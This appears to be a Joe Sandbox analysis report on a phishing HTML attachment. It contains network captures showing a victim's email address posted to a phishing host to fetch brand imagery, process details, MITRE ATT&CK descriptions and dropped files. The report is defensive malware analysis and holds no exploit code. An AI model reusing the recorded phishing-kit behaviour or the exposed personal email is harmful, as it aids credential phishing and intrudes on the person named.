2024-04-26 04:30:28 UTC	49	OUT	Data Raw: 65 6d 61 69 6c 3d 73 75 7a 61 6e 6e 61 2e 73 69 6d 6f 6e 6f 76 69 63 25 34 30 6a 6a 73 77 61 73 74 65 2e 63 6f 6d 2e 61 75 26 62 61 72 6e 64 3d 31 Data Ascii: email=suzanna.simonovic%40jjswaste.com.au&barnd=1
2024-04-26 04:30:29 UTC	299	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 04:30:28 GMT Server: Apache Access-Control-Allow-Origin: * Upgrade: h2,h2c Connection: Upgrade Cache-Control: max-age=0 Expires: Fri, 26 Apr 2024 04:30:28 GMT Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-04-26 04:30:29 UTC	46	IN	Data Raw: 32 33 0d 0a 7b 22 6c 6f 67 6f 5f 69 6d 61 67 65 22 3a 6e 75 6c 6c 2c 22 62 67 5f 69 6d 61 67 65 22 3a 6e 75 6c 6c 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 23{"logo_image":null,"bg_image":null}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49732	192.232.216.145	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 04:30:29 UTC	345	OUT	GET /lh/brand.php HTTP/1.1 Host: iia-p.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 04:30:30 UTC	301	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 04:30:30 GMT Server: nginx/1.21.6 Content-Type: text/html; charset=UTF-8 Content-Length: 0 Access-Control-Allow-Origin: * Cache-Control: max-age=0 Expires: Fri, 26 Apr 2024 04:30:30 GMT Vary: Accept-Encoding X-Server-Cache: true X-Proxy-Cache: MISS

Target ID:	0
Start time:	06:28:48
Start date:	26/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\DOC-Zcns1G_.html
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	06:28:49
Start date:	26/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=2000,i,15560389139453955100,3711742634628694839,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report DOC-Zcns1G_.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

Windows Analysis Report
DOC-Zcns1G_.html